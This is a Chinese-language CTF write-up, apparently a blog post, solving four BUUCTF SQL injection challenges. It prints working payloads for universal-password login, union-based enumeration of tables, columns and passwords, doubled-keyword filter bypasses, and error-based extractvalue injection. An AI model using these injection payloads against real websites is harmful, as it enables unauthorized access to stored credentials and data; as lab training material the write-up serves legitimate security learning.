BUUCTF—极客大挑战sql注入题

EasySql

尝试万能密码登录
在这里插入图片描述
flag直接显示出来了

flag{c87ced50-5e7f-405c-bbc3-044615494dac}

Love sql

依旧尝试万能密码

在这里插入图片描述
查看地址栏发现是以get方式传参,那就好办多了
在这里插入图片描述
判断列数

check.php?username=admin' order by 3%23&password=123

order by 3的时候还没报错,当为4的时候报错了,那么可以得到列数为3
下面就进行联合注入查询即可:
判断回显点
2,3均可利用

check.php?username=-1' union select 1,2,3%23&password=123

在这里插入图片描述

1、爆数据库

check.php?username=-1' union select 1,database(),3%23&password=123

在这里插入图片描述

2、爆数据表

check.php?username=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='geek'%23&password=123

爆出了geekuser和l0ve1ysq1这两张表
在这里插入图片描述

3、爆列名

盲猜我们要的flag在geekuser这张表中

check.php?username=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='l0ve1ysq1'%23&password=123

在这里插入图片描述

3、爆值

check.php?username=-1' union select 1,group_concat(password),3 from l0ve1ysq1%23&password=admin

在这里插入图片描述

BabySQL

在这里插入图片描述
根据提示,肯定过滤了一些字符,测试:
在这里插入图片描述
select、or、where、空格、and、union、from等都被过滤了

尝试双写绕过

判断列数

check.php?username=-1' ununionion selselectect 1,2,3%23&password=admin

在这里插入图片描述

1、爆数据库

check.php?username=1' ununionion selselectect 1,database(),3%23&password=admin
在这里插入图片描述

2、爆表名

check.php?username=1' ununionion selselectect 1,group_concat(table_name),3 frofromm information_schema.tables whwhereere table_schema='geek'%23&password=admin

在这里插入图片描述

报错了,报错信息显示information中的or没有显示,我突然想起来or也被过滤了,也双写以下就行了
在这里插入图片描述

3、爆列名

check.php?username=1' ununionion selselectect 1,group_concat(column_name),3 frofromm infoorrmation_schema.columns whwhereere table_name='b4bsql'%23&password=admin

在这里插入图片描述

4、爆值

check.php?username=1' ununionion selselectect 1,group_concat(passwoorrd),3 frofromm b4bsql%23&password=123456

在这里插入图片描述

hard sql

先fuzz测试一下

在这里插入图片描述
空格,union,and,=,/**/,+,等等都被过滤了
显然联合查询注入不能用了,报错注入的函数没被过滤,我们试一下

1、爆数据库

空格我们用()包裹

'or(extractvalue(1,concat(0x7e,database(),0x7e)))#

在这里插入图片描述

2、爆表名

= 我们用like绕过

'or(extractvalue(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')))))#

在这里插入图片描述

3、爆列名

'or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(‘H4rDsq1’)))))#
在这里插入图片描述

4、爆值

'or(extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)))))#

在这里插入图片描述
79a8e7c9-cb72-406b-8561-dc
只显示了一部分,我们把右边的flag也爆出来

'or(extractvalue(1,concat(0x7e,(select(group_concat(right(password,20)))from(H4rDsq1)))))#

在这里插入图片描述

flag{cceadf67-c8fe-41b9-8e3f-ead6beb68b4c}

  • 1
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值